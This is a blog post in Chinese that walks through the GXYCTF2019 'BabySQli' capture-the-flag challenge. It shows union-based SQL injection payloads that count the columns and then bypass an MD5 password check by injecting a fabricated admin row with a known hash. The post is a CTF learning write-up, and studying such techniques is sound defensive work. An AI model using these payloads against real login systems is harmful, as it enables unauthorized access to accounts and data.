• [GXYCTF2019]BabySQli


    今天这道题很有意思,记录一下,我刚开始以为是时间盲注,都把它的数据库注出来了,但后来发现进行不下去了(发现自己思路错了),警告自己要注意细节(切记base32编码)                                             

    题目

    题目是一个登录框

    先抓个包看一下

    返回包中有一串字符,像是base32编码的特征

    先进行base32解码

    再进行base64解码

    分析

    告诉了一个username字段

    我们先来查看一下它有几个字段

    1' union select 1,2,3#

    发现有3个字段

    将用户名放在第二列,回显wrong pass!,找到用户名在第二列

    1' union select 1,'admin',3#

    接下里就是要绕过密码的md5验证,需要把我们输入的值和数据库里面存放的用户密码的md5值进行比较,那要怎么绕过呢?可以用联合查询语句用来生成虚拟的表数据

    首先可以看到该表只有2个用户

    然后输入语句

    select * from test union select 1,'admin','123456';

    发现可以写入到表里

    通过这样的方式,我们就可以用构造payload

    name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

  • 相关阅读:
    【BZOJ1015】星球大战starwar
    【BZOJ1878】HH的项链
    【BZOJ1012】最大数maxnumber
    【BZOJ3767】A+B Problem加强版
    【BZOJ1406】密码箱
    【BZOJ1067】降雨量
    【BZOJ1305】dance跳舞
    【BZOJ1509】逃学的小孩
    【BZOJ1103】大都市meg
    【BZOJ3262】陌上花开
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13669245.html
Copyright © 2020-2023  润新知